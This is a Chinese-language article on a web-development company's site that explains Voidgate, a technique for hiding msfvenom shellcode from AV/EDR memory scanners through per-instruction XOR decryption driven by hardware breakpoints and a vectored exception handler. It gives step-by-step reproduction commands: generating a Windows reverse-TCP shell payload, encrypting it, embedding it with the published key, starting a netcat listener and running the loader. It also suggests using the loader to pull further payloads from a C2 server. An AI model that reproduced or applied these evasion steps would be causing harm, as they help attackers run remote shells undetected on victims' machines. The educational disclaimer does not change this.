十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Voidgate深度解析:如何利用单指令动态解密让AV/EDR内存扫描器彻底失效?

Voidgate深度解析:如何利用单指令动态解密让AV/EDR内存扫描器彻底失效? Voidgate深度解析如何利用单指令动态解密让AV/EDR内存扫描器彻底失效【免费下载链接】VoidgateA technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page.项目地址: https://gitcode.com/gh_mirrors/vo/VoidgateVoidgate 是一款开源的AV/EDR 内存扫描器绕过技术项目它的核心思路非常巧妙对 shellcode 执行单指令动态解密——同一时刻内存里只有正在执行的那一条汇编指令是明文其余全部保持 XOR 加密状态。这样一来AV/EDR 的内存扫描器对这块内存页做特征匹配时只会看到一堆乱码扫描直接失效。️为什么内存扫描器会失明先理解对手的套路。AV/EDR 检测恶意 shellcode 的主流手段之一就是内存扫描定期读取进程的内存页与已知的恶意特征比如 msfvenom 生成的经典 shellcode 签名做比对一旦命中就触发告警。传统加密对抗的思路是整段加密 → 执行前整段解密但这意味着解密后的完整明文 shellcode 会完整暴露在内存中给扫描器留下可命中的窗口。Voidgate 的做法是把这个窗口压缩到极限每次只解密 1 条指令最多 15 字节即 x64 汇编指令最大长度执行完再把上一条指令重新加密回去。内存扫描器无论多频繁地扫描捕获到的都是加密的 shellcode 一条孤零零的明文指令根本拼不出完整特征。这就是让 AV/EDR 内存扫描器彻底失效的根本原因。Voidgate 效果演示POC 回连实录下图是官方 POC 的完整演示动画在 PowerShell 中执行voidgate右侧监听器成功收到 msfvenom 反向 shell 回连下方 Process Hacker 显示进程状态整个 payload 全程以单指令动态解密方式运行。核心原理硬件断点 VEH 的单步解密流水线Voidgate 把调试器单步执行的思路用在了自己身上整条流水线由三大件组成。核心实现位于 voidgate-master/Voidgate/Voidgate.cpp主流程在 voidgate-master/Voidgate/main.cpp。第1步给 shellcode 穿上 XOR 加密外衣使用项目自带的加密工具voidgate-master/XorEncryptPayload/XorEncryptPayload.cpp对原始 shellcode 做 XOR 加密输出 C 数组格式直接粘贴进项目即可。加密密钥20 字符在加密工具和主程序中保持一致。第2步硬件断点精准踩点程序先用VirtualAlloc申请一块PAGE_EXECUTE_READWRITE的内存用 NOP 填充后把加密状态的 shellcode 拷入再在入口点设置一个硬件断点HWBP。硬件断点由 CPU 调试寄存器Dr0/Dr7实现不修改内存中的指令本身因此不会在内存里留下陷阱标志位等可被扫描的痕迹。第3步VEH 化身隐形单步调试器程序安装一个向量异常处理器VEH它像调试器一样接管执行流HWBP 在入口点触发后VEH 读取当前指令指针 RIP解密 RIP 指向的下一条指令最多 15 字节同时把上一条已解密的指令重新加密回去该地址缓存在全局变量last_decrypted_asm中置位 EFlags 中的TRAP 标志确保下一条指令执行完又会抛异常形成解密一条 → 执行一条 → 加密一条的无限循环若 RIP 跳出了 payload 地址范围比如调用了系统 APIVEH 直接放行不做任何加解密。整个过程对 CPU 而言就是单步执行只是步与步之间偷偷完成了加解密。✨局限性这3种场景 Voidgate 会失灵理解局限才能正确使用官方 README 明确列出了当前限制执行速度大幅变慢⏱️每条指令执行前后都要经过 VEH额外执行约 300 条汇编完成加解密。像 msfvenom 这种牺牲性能换体积的 shellcode跑完可能超过 15 秒。不支持创建新线程如果 shellcode 调用NtCreateThread且新线程入口在 shellcode 内部新线程上没有 HWBPVEH 不会为其触发payload 会失败官方标注 WIP。不支持 payload 自引用数据如果 shellcode 内部存放了字符串或数值、并靠固定偏移量回头读取例如把powershell.exe嵌在代码尾部再引用那段数据会一直是密文程序跑不通。若参数是通过push 0x41414141...这类指令直接压栈的则没问题同样是 WIP。因此 Voidgate 最合适的定位是初始访问用的基础 shellcode 投递器或作为第一阶段的 stage-1 payload 从 C2 服务器拉取后续载荷。如何复现 Voidgate POC6步上手以下为官方 POC 的完整流程仅供学习研究。1️⃣生成 msfvenom 载荷msfvenom -p windows/x64/shell_reverse_tcp LHOST监听IP LPORT443 -f raw shell.asm2️⃣用 XorEncryptPayload 加密 payload./XorEncryptPayload.exe C:\Path\to\shell.asm3️⃣更新 payload把工具输出的 C 数组粘贴到 voidgate-master/Voidgate/main.cpp 中的payload变量。4️⃣确认密钥一致加密工具与 Voidgate 项目里的key必须相同默认0dAd2!BS1dtdCgPMWoA。5️⃣在攻击机上启动监听nc -nvlp 4436️⃣执行 Voidgate.exe稍等十几秒shellcode 单步解密较慢即可看到回连成功。项目结构与关键文件速览模块路径作用voidgate-master/Voidgate/main.cpp主流程分配 RWX 内存、写入密文 payload、设断点、装 VEHvoidgate-master/Voidgate/Voidgate.cppVEH 解密核心单步解密的下一条、加密回上一条指令voidgate-master/Voidgate/Voidgate.h常量定义payload 前后 0x20 字节填充、15 字节最大指令长voidgate-master/Voidgate/payload.hXOR 密钥与 payload 声明voidgate-master/XorEncryptPayload/独立的 XOR 加密小工具命令行 项目说明见 README.md开源协议见 LICENSE。写在最后安全免责声明本项目官方声明仅用于学术研究与教学目的使用本技术造成的一切后果由使用者自行承担。建议读者将其作为理解 Windows 异常处理机制VEH、调试寄存器与内存特征检测对抗的优秀学习案例请勿用于任何非法用途。️【免费下载链接】VoidgateA technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page.项目地址: https://gitcode.com/gh_mirrors/vo/Voidgate创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表